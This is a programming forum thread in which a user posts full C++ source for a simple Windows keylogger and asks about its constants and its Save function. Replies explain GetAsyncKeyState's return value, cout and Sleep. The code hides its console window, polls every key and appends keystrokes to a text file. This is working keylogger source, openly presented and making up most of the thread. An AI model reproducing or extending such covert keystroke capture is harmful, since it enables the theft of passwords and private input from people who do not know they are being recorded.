Simple Keylogger

There are a few places in this code I do not understand. Please help me.

1)What are these numbers? 8,255,-32767 "

2)I can't understand this part:

int Save(int _key, char *file) {

cout << _key << endl;

Sleep(10);



Source Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55


#include <iostream>
#include <windows.h>
using namespace std;

int Save(int _key, char *file);

int main() {
	
HWND stealth;
AllocConsole(); 
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);

	char i;

	while (true) {
		Sleep(10);
		for (i = 8; i <= 255; i++) {
			if (GetAsyncKeyState(i) == -32767) {
				Save(i, "keylogger.txt");
			}
		}
	}
	return 0;
}

int Save(int _key, char *file) {

	cout << _key << endl;

	Sleep(10);

	FILE *OUTPUT_FILE;
	OUTPUT_FILE = fopen(file, "a+");

	if (_key == VK_SHIFT)
		fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
	else if (_key == VK_BACK)
		fprintf(OUTPUT_FILE, "%s", "[BACK]");
	else if (_key == VK_LBUTTON)
		fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
	else if (_key == VK_RETURN)
		fprintf(OUTPUT_FILE, "%s", "[RETURN]");
	else if (_key == VK_ESCAPE)
		fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
	else
		fprintf(OUTPUT_FILE, "%s", &_key);

	fclose(OUTPUT_FILE);

	return 0;

}
Last edited on
You're doing a lot of sleeping lol

-32767 https://msdn.microsoft.com/en-us/library/s3f49ktz.aspx search for your number

That part you don't understand is a bit tricky if you don't know what a function is. But basically the second part of this file is creating a new function called Save, which has the purpose of saving the key that the user pressed.

The first two lines, the cout and the Sleep are very simple.

cout is console output, it is displaying the key on the terminal window.
Sleep is a windows function that pauses the program for the quantity of milliseconds you specify, in this case 10 milliseconds.
Registered users can post here. Sign in or register to post.